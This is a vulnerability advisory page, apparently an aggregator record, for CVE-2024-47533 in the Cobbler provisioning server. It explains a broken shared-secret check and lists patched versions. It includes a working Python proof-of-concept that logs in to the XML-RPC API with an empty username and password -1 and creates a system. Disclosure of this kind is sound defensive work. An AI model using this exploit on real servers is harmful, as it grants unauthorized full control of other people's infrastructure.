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Response snapshot Oct 27, 2026, 17:51 UTC

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VulnerabilityCVE-2024-47533

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. :return: The Cobbler secret which enables full access to Cobbler. """

Published Updated

At a glance

Exploited
Not known
Severity
9.8 Critical (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: cobbler: 3.3.7; cobbler: 3.2.3. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-m26c-fcgh-cp6h (opens a new tab)

What happened

Summary

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

Details

utils.py get_shared_secret:

Continue reading
def get_shared_secret() -> Union[str, int]:
 """
 The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
 between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
 For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

 :return: The Cobbler secret which enables full access to Cobbler.
 """

 try:
 with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
 data = fd.read()
 except:
 return -1
 return str(data).strip()

Always returns -1 because of the following exception:

binary mode doesn't take an encoding argument

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

PoC

#!/usr/bin/python3

import ssl
import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()

url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
 conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
 conn = xmlrpc.client.Server(url)

try:
 token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
 print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
 print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

system_id = conn.new_system(token)

Impact

This gives anyone with network access to a cobbler server full control of the server.

Affected package ranges reported by GitHub: cobbler: >= 3.3.0, < 3.3.7 cobbler: >= 3.0.0, < 3.2.3

Scores and how they were measured

CVSS base severity

9.8

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-m26c-fcgh-cp6h (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-m26c-fcgh-cp6h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes (CVE-2024-47533). https://kevwire.com/record/CVE-2024-47533

MLA

"cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes (CVE-2024-47533)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2024-47533.

Chicago

KEVWire. "cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes (CVE-2024-47533)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2024-47533.

Evidence summary (plain text)

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes (Nov 18, 2024).
utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

 :return: The Cobbler secret which enables full access to Cobbler.
 """
CVSS 9.8 (version 3.1; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-m26c-fcgh-cp6h).
Sources:
GitHub-reviewed advisory GHSA-m26c-fcgh-cp6h: https://github.com/advisories/GHSA-m26c-fcgh-cp6h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2024-47533.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 17:30 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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Record details

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